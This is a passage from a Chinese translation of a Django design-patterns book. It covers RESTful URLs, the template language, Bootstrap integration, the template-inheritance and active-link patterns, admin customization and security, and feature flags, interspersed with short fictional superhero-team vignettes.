    url(r'^$', ArticlesIndex.as_view(), name='index'),
    url(r'^(?P<slug>\w+)/$', ArticleView.as_view(), name='article'),
)

注意“index”模式,它将在用户从特定文章上升时显示文章索引。

RESTful URL

2000 年,Roy Fielding 在他的博士论文中引入了表现状态转移REST)这个术语。强烈建议阅读他的论文(www.ics.uci.edu/~fielding/pubs/dissertation/top.htm)以更好地理解 Web 本身的架构。它可以帮助你编写更好的 Web 应用程序,不违反架构的核心约束。

其中一个关键的见解是 URI 是资源的标识符。资源可以是任何东西,比如一篇文章,一个用户,或者一组资源,比如事件。一般来说,资源是名词。

Web 为您提供了一些基本的 HTTP 动词来操作资源:GETPOSTPUTPATCHDELETE。请注意,这些不是 URL 本身的一部分。因此,如果您在 URL 中使用动词来操作资源,这是一个不好的做法。

例如,以下 URL 被认为是不好的:

http://site.com/articles/submit/

相反,你应该删除动词,并使用 POST 操作到这个 URL:

http://site.com/articles/

提示

最佳实践

如果 HTTP 动词可以使用,就不要在 URL 中使用动词。

请注意,在 URL 中使用动词并不是错误的。您网站的搜索 URL 可以使用动词“search”,因为它不符合 REST 的一个资源:

http://site.com/search/?q=needle

RESTful URL 对于设计 CRUD 接口非常有用。创建、读取、更新和删除数据库操作与 HTTP 动词之间几乎是一对一的映射。

请注意,RESTful URL 风格是部门商店 URL 风格的补充。大多数网站混合使用这两种风格。它们被分开以便更清晰地理解。

提示

下载示例代码

您可以从www.packtpub.com的帐户中下载您购买的所有 Packt 图书的示例代码文件。如果您在其他地方购买了这本书,您可以访问www.packtpub.com/support并注册,将文件直接发送到您的电子邮件。拉取请求和错误报告可以发送到github.com/DjangoPatternsBook/superbook的 SuperBook 项目。

总结

在 Django 中,视图是 MVC 架构中非常强大的部分。随着时间的推移,基于类的视图已被证明比传统的基于函数的视图更灵活和可重用。混合是这种可重用性的最好例子。

Django 拥有非常灵活的 URL 分发系统。设计良好的 URL 需要考虑几个方面。设计良好的 URL 也受到用户的赞赏。

在下一章中,我们将看一下 Django 的模板语言以及如何最好地利用它。

第五章:模板

在本章中,我们将讨论以下主题:

  • Django 模板语言的特性

  • 组织模板

  • Bootstrap

  • 模板继承树模式

  • 活动链接模式

了解 Django 的模板语言特性

是时候谈谈 MTV 三人组中的第三个伙伴-模板了。您的团队可能有设计师负责设计模板。或者您可能自己设计它们。无论哪种方式,您都需要非常熟悉它们。毕竟,它们直接面向您的用户。

让我们从快速介绍 Django 的模板语言特性开始。

变量

每个模板都有一组上下文变量。与 Python 的字符串format()方法的单花括号{variable}语法类似,Django 使用双花括号{{ variable }}语法。让我们看看它们的比较:

  • 在纯 Python 中,语法是<h1>{title}</h1>。例如:
>>> "<h1>{title}</h1>".format(title="SuperBook")
'<h1>SuperBook</h1>'

  • 在 Django 模板中的等效语法是<h1>{{ title }}</h1>

  • 使用相同的上下文进行渲染将产生相同的输出,如下所示:

>>> from django.template import Template, Context
>>> Template("<h1>{{ title }}</h1>").render(Context({"title": "SuperBook"}))
'<h1>SuperBook</h1>'

属性

在 Django 模板中,点是一个多功能运算符。有三种不同的操作-属性查找、字典查找或列表索引查找(按顺序)。

  • 首先,在 Python 中,让我们定义上下文变量和类:
>>> class DrOct:
 arms = 4
 def speak(self):
 return "You have a train to catch."
>>> mydict = {"key":"value"}
>>> mylist = [10, 20, 30]

让我们来看看 Python 对三种查找的语法:

>>> "Dr. Oct has {0} arms and says: {1}".format(DrOct().arms, DrOct().speak())
'Dr. Oct has 4 arms and says: You have a train to catch.'
>>> mydict["key"]
 'value'
>>> mylist[1]
 20

  • 在 Django 的模板等价物中,如下所示:
Dr. Oct has {{ s.arms }} arms and says: {{ s.speak }}
{{ mydict.key }}
{{ mylist.1 }}

注意

注意speak,一个除了self之外不带参数的方法,在这里被当作属性对待。

过滤器

有时,变量需要被修改。基本上,您想要在这些变量上调用函数。Django 使用管道语法{{ var|method1|method2:"arg" }},而不是链接函数调用,例如var.method1().method2(arg),这类似于 Unix 过滤器。但是,这种语法只适用于内置或自定义的过滤器。

另一个限制是过滤器无法访问模板上下文。它只能使用传递给它的数据及其参数。因此,它主要用于更改模板上下文中的变量。

  • 在 Python 中运行以下命令:
>>> title="SuperBook"
>>> title.upper()[:5]
 'SUPER'

  • 它的 Django 模板等价物:
{{ title|upper|slice:':5' }}"

标签

编程语言不仅可以显示变量。Django 的模板语言具有许多熟悉的语法形式,如iffor。它们应该以标签语法编写,如{% if %}。几种特定于模板的形式,如includeblock,也是以标签语法编写的。

  • 在 Python 中运行以下命令:
>>> if 1==1:
...     print(" Date is {0} ".format(time.strftime("%d-%m-%Y")))
 Date is 31-08-2014

  • 它对应的 Django 模板形式:
{% if 1 == 1 %} Date is {% now 'd-m-Y' %} {% endif %}

哲学-不要发明一种编程语言

初学者经常问的一个问题是如何在模板中执行数值计算,比如找到百分比。作为设计哲学,模板系统故意不允许以下操作:

  • 变量赋值

  • 高级逻辑

这个决定是为了防止您在模板中添加业务逻辑。根据我们对 PHP 或类似 ASP 语言的经验,混合逻辑和表现可能会成为维护的噩梦。但是,您可以编写自定义模板标签(很快会介绍),以执行任何计算,特别是与表现相关的计算。

提示

最佳实践

将业务逻辑从模板中剥离出来。

组织模板

startproject命令创建的默认项目布局未定义模板的位置。这很容易解决。在项目的根目录中创建一个名为templates的目录。在您的settings.py中添加TEMPLATE_DIRS变量:

BASE_DIR = os.path.dirname(os.path.dirname(__file__))
TEMPLATE_DIRS = [os.path.join(BASE_DIR, 'templates')]

就是这样。例如,您可以添加一个名为about.html的模板,并在urls.py文件中引用它,如下所示:

urlpatterns = patterns(
    '',
    url(r'^about/$', TemplateView.as_view(template_name='about.html'),
        name='about'),

您的模板也可以位于应用程序中。在您的app目录内创建一个templates目录是存储特定于应用程序的模板的理想选择。

以下是一些组织模板的良好实践:

  • 将所有特定于应用程序的模板放在app的模板目录中的单独目录中,例如projroot/app/templates/app/template.html—注意路径中app出现了两次

  • 为您的模板使用.html扩展名

  • 为要包含的模板添加下划线,例如_navbar.html

对其他模板语言的支持

从 Django 1.8 开始,将支持多个模板引擎。将内置支持 Django 模板语言(前面讨论过的标准模板语言)和 Jinja2。在许多基准测试中,Jinja2 比 Django 模板要快得多。

预计将有一个额外的TEMPLATES设置用于指定模板引擎和所有与模板相关的设置。TEMPLATE_DIRS设置将很快被弃用。

乐观夫人

几个星期以来,史蒂夫的办公室角落第一次充满了疯狂的活动。随着更多的新成员加入,现在的五人团队包括布拉德、埃文、雅各布、苏和史蒂夫。就像一个超级英雄团队一样,他们的能力深厚而惊人地平衡。

布拉德和埃文是编码大师。埃文着迷于细节,布拉德是大局观的人。雅各布在发现边缘情况方面的才能使他成为测试的完美人选。苏负责营销和设计。

事实上,整个设计本来应该由一家前卫的设计机构完成。他们花了一个月时间制作了一份抽象、生动、色彩斑斓的概念,受到了管理层的喜爱。他们又花了两个星期的时间从他们的 Photoshop 模型中制作出一个 HTML 版本。然而,由于在移动设备上表现迟缓和笨拙,最终被抛弃了。

史蒂夫对现在被广泛称为“独角兽呕吐物”设计的失败感到失望。哈特曾经打电话给他,非常担心没有任何可见的进展向管理层展示。他以严肃的口吻提醒史蒂夫:“我们已经耗尽了项目的缓冲时间。我们不能承受任何最后一刻的意外。”

苏自加入以来一直异常安静,那时她提到她一直在使用 Twitter 的 Bootstrap 进行模拟设计。苏是团队中的增长黑客——一个热衷于编码和创意营销的人。

她承认自己只有基本的 HTML 技能。然而,她的模型设计非常全面,对其他当代社交网络的用户来说看起来很熟悉。最重要的是,它是响应式的,并且在从平板电脑到手机等各种设备上都能完美运行。

管理层一致同意苏的设计,除了一个名叫乐观夫人的人。一个星期五的下午,她冲进苏的办公室,开始质疑从背景颜色到鼠标指针大小的一切。苏试图以令人惊讶的镇定和冷静向她解释。

一个小时后,当史蒂夫决定介入时,乐观夫人正在争论为什么个人资料图片必须是圆形而不是方形。“但是这样的全站更改永远不会及时完成,”他说。乐观夫人转移了目光,对他微笑。突然间,史蒂夫感到一股幸福和希望的波涌上涌。这让他感到非常宽慰和振奋。他听到自己愉快地同意她想要的一切。

后来,史蒂夫得知乐观夫人是一位可以影响易受影响的心灵的次要心灵感应者。他的团队喜欢在最轻微的场合提到后一事实。

使用 Bootstrap

如今几乎没有人从头开始建立整个网站。Twitter 的 Bootstrap 或 Zurb 的 Foundation 等 CSS 框架是具有网格系统、出色的排版和预设样式的简单起点。它们大多使用响应式网页设计,使您的网站适合移动设备。

使用 Bootstrap

使用 Edge 项目骨架构建的使用 vanilla Bootstrap Version 3.0.2 的网站

我们将使用 Bootstrap,但其他 CSS 框架的步骤也类似。有三种方法可以在您的网站中包含 Bootstrap:

  • 找到一个项目骨架:如果您还没有开始项目,那么找到一个已经包含 Bootstrap 的项目骨架是一个很好的选择。例如,像edge(由我亲自创建)这样的项目骨架可以在运行startproject时用作初始结构,如下所示:
$ django-admin.py startproject --template=https://github.com/arocks/edge/archive/master.zip --extension=py,md,html myproj

或者,您可以使用支持 Bootstrap 的cookiecutter模板之一。

  • 使用包:如果您已经开始了项目,最简单的选择就是使用一个包,比如django-frontend-skeletondjango-bootstrap-toolkit

  • 手动复制:前面提到的选项都不能保证它们的 Bootstrap 版本是最新的。Bootstrap 发布频率如此之高,以至于包作者很难及时更新他们的文件。因此,如果您想使用最新版本的 Bootstrap,最好的选择是从getbootstrap.com自己下载。一定要阅读发布说明,以检查您的模板是否需要由于向后不兼容性而进行更改。

将包含cssjsfonts目录的dist目录复制到您的项目根目录下的static目录中。确保在您的settings.py中为STATICFILES_DIRS设置了这个路径:

STATICFILES_DIRS = [os.path.join(BASE_DIR, "static")]

现在您可以在您的模板中包含 Bootstrap 资源,如下所示:

{% load staticfiles %}
  <head>
    <link href="{% static 'css/bootstrap.min.css' %}" rel="stylesheet">

但它们看起来都一样!

Bootstrap 可能是一个快速入门的好方法。然而,有时开发人员会变懒,不去改变默认外观。这会给您的用户留下不好的印象,他们可能会觉得您网站的外观有点太熟悉和无趣。

Bootstrap 带有大量选项来改善其视觉吸引力。有一个名为variables.less的文件,其中包含了从主品牌颜色到默认字体等几个变量,如下所示:

@brand-primary:         #428bca;
@brand-success:         #5cb85c;
@brand-info:            #5bc0de;
@brand-warning:         #f0ad4e;
@brand-danger:          #d9534f;

@font-family-sans-serif:  "Helvetica Neue", Helvetica, Arial, sans-serif;
@font-family-serif:       Georgia, "Times New Roman", Times, serif;
@font-family-monospace:   Menlo, Monaco, Consolas, "Courier New", monospace;
@font-family-base:        @font-family-sans-serif;

Bootstrap 文档解释了如何设置构建系统(包括 LESS 编译器)来将这些文件编译成样式表。或者非常方便的是,您可以访问 Bootstrap 网站的“自定义”区域,在那里在线生成您定制的样式表。

由于 Bootstrap 周围有庞大的社区,还有一些网站,比如bootswatch.com,它们有主题样式表,可以直接替换您的bootstrap.min.css

另一种方法是覆盖 Bootstrap 样式。如果您发现在不同的 Bootstrap 版本之间升级自定义的 Bootstrap 样式表非常乏味,那么这是一个推荐的方法。在这种方法中,您可以在一个单独的 CSS(或 LESS)文件中添加站点范围的样式,并在标准 Bootstrap 样式表之后包含它。因此,您可以只需对站点范围的样式表进行最小的更改,就可以简单地升级 Bootstrap 文件。

最后但同样重要的是,您可以通过用更有意义的名称替换结构名称(例如'row'或'column-md-4'替换为'wrapper'或'sidebar')来使您的 CSS 类更有意义。您可以通过几行 LESS 代码来实现这一点,如下所示:

.wrapper {
  .make-row();
}
.sidebar {
  .make-md-column(4);
}

这是可能的,因为有一个叫做 mixin 的功能(听起来很熟悉吧?)。有了 Less 源文件,Bootstrap 可以完全按照您的需求进行定制。

模板模式

Django 的模板语言非常简单。然而,通过遵循一些优雅的模板设计模式,您可以节省大量时间。让我们来看看其中一些。

模式 - 模板继承树

问题:模板中有很多重复的内容在几个页面中。

解决方案:在可能的地方使用模板继承,并在其他地方包含片段。

问题细节

用户期望网站的页面遵循一致的结构。某些界面元素,如导航菜单、标题和页脚,在大多数 Web 应用程序中都会出现。然而,在每个模板中重复它们是很麻烦的。

大多数模板语言都有一个包含机制。另一个文件的内容,可能是一个模板,可以在调用它的位置包含进来。在一个大型项目中,这可能会变得乏味。

在每个模板中包含的片段的顺序大多是相同的。顺序很重要,很难检查错误。理想情况下,我们应该能够创建一个'基础'结构。新页面应该扩展此基础,以指定仅更改或扩展基础内容。

解决方案详情

Django 模板具有强大的扩展机制。类似于编程中的类,模板可以通过继承进行扩展。但是,为了使其工作,基础本身必须按照以下块的结构进行组织:

解决方案详情

base.html模板通常是整个站点的基本结构。该模板通常是格式良好的 HTML(即,具有前言和匹配的闭合标签),其中有几个用{% block tags %}标记标记的占位符。例如,一个最小的base.html文件看起来像下面这样:

<html>
<body>
<h1>{% block heading %}Untitled{% endblock %}</h1>
{% block content %}
{% endblock %}
</body>
</html>

这里有两个块,headingcontent,可以被覆盖。您可以扩展基础以创建可以覆盖这些块的特定页面。例如,这是一个about页面:

{% extends "base.html" %}
{% block content %}
<p> This is a simple About page </p>
{% endblock %}
{% block heading %}About{% endblock %}

请注意,我们不必重复结构。我们也可以按任何顺序提及块。渲染的结果将在base.html中定义的正确位置具有正确的块。

如果继承模板没有覆盖一个块,那么将使用其父级的内容。在前面的例子中,如果about模板没有标题,那么它将具有默认的标题'Untitled'。

继承模板可以进一步继承形成继承链。这种模式可以用来创建具有特定布局的页面的共同派生基础,例如,单列布局。还可以为站点的某个部分创建一个共同的基础模板,例如,博客页面。

通常,所有的继承链都可以追溯到一个共同的根,base.html;因此,这种模式被称为模板继承树。当然,这并不一定要严格遵循。错误页面404.html500.html通常不会被继承,并且会被剥离大部分标签,以防止进一步的错误。

模式-活动链接

问题:导航栏是大多数页面中的常见组件。但是,活动链接需要反映用户当前所在的页面。

解决方案:通过设置上下文变量或基于请求路径,有条件地更改活动链接标记。

问题详情

在导航栏中实现活动链接的天真方式是在每个页面中手动设置它。然而,这既不符合 DRY 原则,也不是绝对可靠的。

解决方案详情

有几种解决方案可以确定活动链接。除了基于 JavaScript 的方法之外,它们主要可以分为仅模板和基于自定义标签的解决方案。

仅模板解决方案

通过在包含导航模板的同时提及active_link变量,这种解决方案既简单又易于实现。

在每个模板中,您需要包含以下行(或继承它):

{% include "_navbar.html" with active_link='link2' %}

_navbar.html文件包含了带有一组检查活动链接变量的导航菜单:

{# _navbar.html #}
<ul class="nav nav-pills">
  <li{% if active_link == "link1" %} class="active"{% endif %}><a href="{% url 'link1' %}">Link 1</a></li>
  <li{% if active_link == "link2" %} class="active"{% endif %}><a href="{% url 'link2' %}">Link 2</a></li>
  <li{% if active_link == "link3" %} class="active"{% endif %}><a href="{% url 'link3' %}">Link 3</a></li>
</ul>

自定义标签

Django 模板提供了一个多功能的内置标签集。创建自定义标签非常容易。由于自定义标签位于应用程序内部,因此在应用程序内创建一个templatetags目录。该目录必须是一个包,因此它应该有一个(空的)__init__.py文件。

接下来,在一个适当命名的 Python 文件中编写您的自定义模板。例如,对于这个活动链接模式,我们可以创建一个名为nav.py的文件,其中包含以下内容:

# app/templatetags/nav.py
from django.core.urlresolvers import resolve
from django.template import Library

register = Library()
@register.simple_tag
def active_nav(request, url):
    url_name = resolve(request.path).url_name
    if url_name == url:
        return "active"
    return ""

该文件定义了一个名为active_nav的自定义标签。它从请求参数中检索 URL 的路径组件(比如/about/—参见第四章,“视图和 URL”中对 URL 路径的详细解释)。然后,使用resolve()函数来查找路径对应的 URL 模式名称(在urls.py中定义)。最后,只有当模式名称匹配预期的模式名称时,它才返回字符串"active"

在模板中调用这个自定义标签的语法是{% active_nav request 'pattern_name' %}。注意,请求需要在每个使用该标签的页面中传递。

在多个视图中包含一个变量可能会变得繁琐。相反,我们可以在settings.pyTEMPLATE_CONTEXT_PROCESSORS中添加一个内置的上下文处理器,这样请求将在整个站点中以request变量的形式存在。

# settings.py
from django.conf import global_settings
TEMPLATE_CONTEXT_PROCESSORS = \
    global_settings.TEMPLATE_CONTEXT_PROCESSORS + (
        'django.core.context_processors.request',
    )

现在,唯一剩下的就是在模板中使用这个自定义标签来设置活动属性:

{# base.html #}
{% load nav %}
<ul class="nav nav-pills">
  <li class={% active_nav request 'active1' %}><a href="{% url 'active1' %}">Active 1</a></li>
  <li class={% active_nav request 'active2' %}><a href="{% url 'active2' %}">Active 2</a></li>
  <li class={% active_nav request 'active3' %}><a href="{% url 'active3' %}">Active 3</a></li>
</ul>

总结

在本章中,我们看了 Django 模板语言的特性。由于在 Django 中很容易更改模板语言,许多人可能会考虑替换它。然而,在寻找替代方案之前,了解内置模板语言的设计哲学是很重要的。

在下一章中,我们将探讨 Django 的一个杀手功能,即管理界面,以及我们如何对其进行定制。

第六章:管理员界面

在本章中,我们将讨论以下主题:

  • 自定义管理员

  • 增强管理员模型

  • 管理员最佳实践

  • 功能标志

Django 备受瞩目的管理员界面使其脱颖而出。它是一个内置应用程序,可以自动生成用户界面以添加和修改站点的内容。对许多人来说,管理员是 Django 的杀手应用程序,自动化了为项目中的模型创建管理员界面这一乏味任务。

管理员使您的团队能够同时添加内容并继续开发。一旦您的模型准备好并应用了迁移,您只需要添加一两行代码来创建其管理员界面。让我们看看如何做到。

使用管理员界面

在 Django 1.7 中,默认情况下启用了管理员界面。创建项目后,当您导航到http://127.0.0.1:8000/admin/时,您将能够看到登录页面。

如果您输入超级用户凭据(或任何员工用户的凭据),您将登录到管理员界面,如下面的屏幕截图所示:

使用管理员界面

然而,除非您定义相应的ModelAdmin类,否则您的模型在这里将不可见。这通常在您的应用程序的admin.py中定义如下:

from django.contrib import admin
from . import models

admin.site.register(models.SuperHero)

这里,register 的第二个参数,一个ModelAdmin类,已被省略。因此,我们将为 Post 模型获得一个默认的管理员界面。让我们看看如何创建和自定义这个ModelAdmin类。

注意

信标

“在喝咖啡吗?”角落里传来一个声音。苏差点把咖啡洒出来。一个穿着紧身红蓝色服装的高个子男人双手叉腰微笑着站在那里。他胸前的标志大大地写着“显而易见船长”。

“哦,天哪,”苏在用餐巾擦咖啡渍时说道。“抱歉,我想我吓到你了,”显而易见船长说。“有什么紧急情况吗?”

“她不知道这是显而易见的吗?”一个平静的女声从上方传来。苏抬头看到一个阴影般的人物从开放的大厅缓缓降下。她的脸部被她那几缕灰色的头发部分遮挡住。“嗨,海克萨!”船长说。“但是,超级书上的消息是什么?”

很快,他们都来到了史蒂夫的办公室,盯着他的屏幕。“看,我告诉过你,首页上没有信标,”埃文说。“我们还在开发这个功能。”“等等,”史蒂夫说。“让我用一个非员工账户登录。”

几秒钟后,页面刷新了,一个动画的红色信标显眼地出现在顶部。“那就是我说的信标!”显而易见船长惊叫道。“等一下,”史蒂夫说。他打开了当天早些时候部署的新功能的源文件。一眼看到信标功能分支代码就清楚了出了什么问题:

    if switch_is_active(request, 'beacon') and not request.user.is_staff():
        # Display the beacon

“对不起,各位,”史蒂夫说。“出现了逻辑错误。我们不是只为员工打开了这个功能,而是不小心为所有人打开了这个功能,除了员工。现在已经关闭了。对于任何混淆,我们深表歉意。”

“所以,没有紧急情况吗?”船长失望地说。海克萨把手搭在他肩上说:“恐怕没有,船长。”突然,传来一声巨响,所有人都跑到了走廊。一个人显然是从天花板到地板的玻璃墙中间降落在办公室里。他甩掉了碎玻璃,站了起来。“对不起,我尽快赶过来了,”他说,“我来晚了吗?”海克萨笑了。“不,闪电。一直在等你加入,”她说。

增强管理员模型

管理员应用程序足够聪明,可以自动从您的模型中推断出很多东西。但是,有时推断出的信息可以得到改进。这通常涉及向模型本身添加属性或方法(而不是在ModelAdmin类中)。

让我们首先看一个增强模型以获得更好展示的示例,包括管理员界面:

# models.py
class SuperHero(models.Model):
    name = models.CharField(max_length=100)
    added_on = models.DateTimeField(auto_now_add=True)

    def __str__(self):
        return "{0} - {1:%Y-%m-%d %H:%M:%S}".format(self.name,
                                                    self.added_on)

    def get_absolute_url(self):
        return reverse('superhero.views.details', args=[self.id])

    class Meta:
        ordering = ["-added_on"]
        verbose_name = "superhero"
        verbose_name_plural = "superheroes"

让我们看看管理员如何使用所有这些非字段属性:

  • __str__(): 如果没有这个,超级英雄条目列表将看起来非常无聊。每个条目都会简单地显示为<SuperHero: SuperHero object>。尽量在其str表示中包含对象的唯一信息(或 Python 2.x 代码中的unicode表示),比如它的名称或版本。任何有助于管理员明确识别对象的信息都会有所帮助。

  • get_absolute_url(): 如果您喜欢在网站上的管理视图和对象的详细视图之间切换,那么这个属性非常方便。如果定义了这个方法,那么在对象的编辑页面的右上方将出现一个标有“在网站上查看”的按钮。

  • ordering: 如果没有这个元选项,您的条目可以以从数据库返回的任何顺序出现。可以想象,如果您有大量对象,这对管理员来说并不有趣。通常希望首先看到新条目,因此按日期的逆向时间顺序排序是常见的。

  • verbose_name: 如果省略了这个属性,您的模型名称将从驼峰式转换为小驼峰式。在这种情况下,“超级英雄”看起来很奇怪,因此最好明确指定用户可读名称在管理界面中的显示方式。

  • verbose_name_plural: 再次,省略此选项会导致有趣的结果。由于 Django 只是在单词前加上's',超级英雄的复数将显示为“superheros”(甚至在管理前页)。因此,在这里正确定义它会更好。

建议您不仅为管理界面定义先前的Meta属性和方法,还为更好地在 shell、日志文件等中表示。

当然,通过创建ModelAdmin类,可以进一步改进管理中的表示,如下所示:

# admin.py
class SuperHeroAdmin(admin.ModelAdmin):
    list_display = ('name', 'added_on')
    search_fields = ["name"]
    ordering = ["name"]

admin.site.register(models.SuperHero, SuperHeroAdmin)

让我们更仔细地看看这些选项:

  • list_display: 此选项以表格形式显示模型实例。它不使用模型的__str__表示,而是将每个字段作为单独的可排序列显示。如果您希望查看模型的多个属性,这是理想的选择。

  • search_fields: 此选项在列表上方显示一个搜索框。输入的任何搜索词都将针对所述字段进行搜索。因此,只能在这里提到文本字段,如CharFieldTextField

  • ordering: 这个选项优先于模型的默认排序。如果您在管理屏幕中更喜欢不同的排序方式,这将非常有用。

增强模型的管理页面

上述截图显示了以下插图:

  • 插图 1:没有strMeta属性

  • 插图 2:带有增强模型meta属性

  • 插图 3:带有自定义ModelAdmin

在这里,我们只提到了一些常用的管理选项子集。某些类型的网站会大量使用管理界面。在这种情况下,强烈建议您阅读并了解 Django 文档中的管理部分。

并非每个人都应该成为管理员

由于管理界面很容易创建,人们往往滥用它们。一些人仅仅通过打开他们的“工作人员”标志就给予早期用户管理员访问权限。很快,这些用户开始提出功能请求,误以为管理界面是实际应用程序界面。

不幸的是,这并不是管理界面的用途。正如标志所示,它是一个内部工具,供工作人员输入内容使用。它已经准备好投入生产,但并不真正面向您网站的最终用户。

最好将管理用于简单的数据输入。例如,在我审查过的一个项目中,每个老师都被设置为 Django 应用程序管理大学课程的管理员。这是一个糟糕的决定,因为管理界面让老师感到困惑。

安排课程的工作流程涉及检查其他教师和学生的日程安排。使用管理界面使他们直接查看数据库。对于管理员如何修改数据,几乎没有任何控制。

因此,尽量将具有管理访问权限的人数保持得尽可能少。除非是简单的数据输入,例如添加文章内容,否则请谨慎通过管理进行更改。

提示

最佳实践

不要将管理访问权限授予最终用户。

确保您的所有管理员都了解通过管理进行更改可能导致的数据不一致性。如果可能的话,手动记录或使用应用程序,例如django-audit-loglog,可以记录未来参考所做的管理更改。

在大学示例中,我们为教师创建了一个单独的界面,例如课程构建器。只有当用户具有教师配置文件时,这些工具才会可见和可访问。

基本上,纠正大多数管理界面的误用涉及为某些用户组创建更强大的工具。但是,不要采取简单(错误的)路径,授予他们管理访问权限。

管理界面自定义

开箱即用的管理界面非常有用。不幸的是,大多数人认为很难更改 Django 管理界面,因此将其保持原样。实际上,管理界面是非常可定制的,只需付出最少的努力即可大幅改变其外观。

更改标题

许多管理界面的用户可能会被标题“Django administration”困惑。更改为一些自定义的内容,例如“MySite admin”或者“SuperBook Secret Area”可能更有帮助。

这种更改非常容易。只需将以下行添加到站点的urls.py中:

admin.site.site_header = "SuperBook Secret Area"

更改基础和样式表

几乎每个管理页面都是从名为admin/base_site.html的通用基础模板扩展而来。这意味着只要稍微了解 HTML 和 CSS,您就可以进行各种自定义,改变管理界面的外观和感觉。

只需在任何templates目录中创建一个名为admin的目录。然后,从 Django 源目录中复制base_site.html文件,并根据需要进行修改。如果您不知道模板的位置,请在 Django shell 中运行以下命令:

>>> from os.path import join
>>> from django.contrib import admin
>>> print(join(admin.__path__[0], "templates", "admin"))
/home/arun/env/sbenv/lib/python3.4/site-packages/django/contrib/admin/templates/admin

最后一行是所有管理模板的位置。您可以覆盖或扩展这些模板中的任何一个。有关扩展模板的示例,请参考下一节。

关于自定义管理基础模板的示例,您可以将整个管理界面的字体更改为来自 Google Fonts 的“Special Elite”,这对于赋予一种模拟严肃的外观非常有用。您需要在模板目录之一中添加一个admin/base_site.html文件,内容如下:

{% extends "admin/base.html" %}

{% block extrastyle %}
    <link href='http://fonts.googleapis.com/css?family=Special+Elite' rel='stylesheet' type='text/css'>
    <style type="text/css">
     body, td, th, input {
       font-family: 'Special Elite', cursive;
     }
    </style>
{% endblock %}

这将添加一个额外的样式表,用于覆盖与字体相关的样式,并将应用于每个管理页面。

为所见即所得编辑添加富文本编辑器

有时,您需要在管理界面中包含 JavaScript 代码。常见的要求是为您的TextField使用 HTML 编辑器,例如CKEditor

在 Django 中有几种实现这一点的方法,例如在ModelAdmin类上使用Media内部类。但是,我发现扩展管理change_form模板是最方便的方法。

例如,如果您有一个名为Posts的应用程序,则需要在templates/admin/posts/目录中创建一个名为change_form.html的文件。如果需要为该应用程序中任何模型的message字段显示CKEditor(也可以是任何 JavaScript 编辑器,但我更喜欢这个),则文件的内容可以如下所示:

{% extends "admin/change_form.html" %}

{% block footer %}
  {{ block.super }}
  <script src="img/ckeditor.js"></script>
  <script>
   CKEDITOR.replace("id_message", {
     toolbar: [
     [ 'Bold', 'Italic', '-', 'NumberedList', 'BulletedList'],],
     width: 600,
   });
  </script>
  <style type="text/css">
   .cke { clear: both; }
  </style>
{% endblock %}

突出显示的部分是我们希望从普通文本框改为富文本编辑器的表单元素自动生成的ID。这些脚本和样式已添加到页脚块,以便在更改之前在 DOM 中创建表单元素。

基于 Bootstrap 的管理

总的来说,管理界面设计得相当不错。然而,它是在 2006 年设计的,大部分看起来也是这样。它没有移动 UI 或其他今天已经成为标准的美化功能。

毫不奇怪,对管理自定义的最常见请求是是否可以与 Bootstrap 集成。有几个包可以做到这一点,比如 django-admin-bootstrappeddjangosuit

这些包提供了现成的基于 Bootstrap 主题的模板,易于安装和部署。基于 Bootstrap,它们是响应式的,并带有各种小部件和组件。

完全改版

也有人尝试完全重新构想管理界面。Grappelli 是一个非常受欢迎的皮肤,它通过自动完成查找和可折叠的内联等新功能扩展了 Django 管理。使用 django-admin-tools,您可以获得可定制的仪表板和菜单栏。

已经有人尝试完全重写管理界面,比如 django-admin2nexus,但没有获得任何重大的采用。甚至有一个名为 AdminNext 的官方提案来改进整个管理应用。考虑到现有管理的规模、复杂性和受欢迎程度,任何这样的努力都预计需要大量的时间。

保护管理

您网站的管理界面可以访问几乎所有存储的数据。因此,不要轻易留下象征性的门。事实上,当你导航到 http://example.com/admin/ 时,你会看到蓝色的登录界面,这是运行 Django 的人的一个明显迹象。

在生产中,建议将此位置更改为不太明显的位置。只需在根 urls.py 中更改这一行即可:

    url(r'^secretarea/', include(admin.site.urls)),

一个稍微更复杂的方法是在默认位置使用一个虚拟的管理站点或者蜜罐(参见 django-admin-honeypot 包)。然而,最好的选择是在管理区域使用 HTTPS,因为普通的 HTTP 会将所有数据以明文形式发送到网络上。

查看您的 Web 服务器文档,了解如何为管理请求设置 HTTPS。在 Nginx 上,设置这个很容易,涉及指定 SSL 证书的位置。最后,将所有管理页面的 HTTP 请求重定向到 HTTPS,这样你就可以更加安心地睡觉了。

以下模式不仅限于管理界面,但仍然包括在本章中,因为它经常在管理中受到控制。

模式 - 功能标志

问题:向用户发布新功能和在生产环境中部署相应的代码应该是独立的。

解决方案:使用功能标志在部署后选择性地启用或禁用功能。

问题细节

今天,频繁地将错误修复和新功能推向生产是很常见的。其中许多变化并不为用户所注意。然而,在可用性或性能方面有重大影响的新功能应该以分阶段的方式推出。换句话说,部署应该与发布分离。

简化的发布流程在部署后立即激活新功能。这可能会导致从用户问题(淹没您的支持资源)到性能问题(导致停机时间)等灾难性的结果。

因此,在大型网站中,重要的是将新功能的部署与在生产环境中激活它们分开。即使它们被激活,有时也只能被一小部分用户看到。这个小组可以是员工或一小部分客户用于试用目的。

解决方案细节

许多网站使用功能标志来控制新功能的激活。功能标志是代码中的开关,用于确定是否应向某些客户提供某项功能。

几个 Django 包提供了功能标志,如gargoyledjango-waffle。这些包将站点的功能标志存储在数据库中。它们可以通过管理界面或管理命令激活或停用。因此,每个环境(生产、测试、开发等)都可以拥有自己激活的功能集。

功能标志最初是在 Flickr 中记录的(请参阅code.flickr.net/2009/12/02/flipping-out/)。他们管理了一个没有任何分支的代码库,也就是说,所有东西都被检入主线。他们还将这些代码部署到生产环境中多次。如果他们发现新功能在生产环境中出现故障或增加了数据库的负载,那么他们只需通过关闭该功能标志来禁用它。

功能标志可以用于各种其他情况(以下示例使用django-waffle):

  • 试验:功能标志也可以有条件地对某些用户进行激活。这些可以是您自己的员工或某些早期采用者,如下所示:
    def my_view(request):
        if flag_is_active(request, 'flag_name'):
            # Behavior if flag is active.

网站可以同时运行几个这样的试验,因此不同的用户可能会有不同的用户体验。在更广泛的部署之前,会从这些受控测试中收集指标和反馈。

  • A/B 测试:这与试验非常相似,只是在受控实验中随机选择用户。这在网页设计中很常见,用于确定哪些更改可以提高转化率。以下是编写这样一个视图的方法:
    def my_view(request):
        if sample_is_active(request, 'design_name'):
            # Behavior for test sample.
  • 性能测试:有时很难衡量某项功能对服务器性能的影响。在这种情况下,最好先仅为小部分用户激活该标志。如果性能在预期范围内,可以逐渐增加激活的百分比。

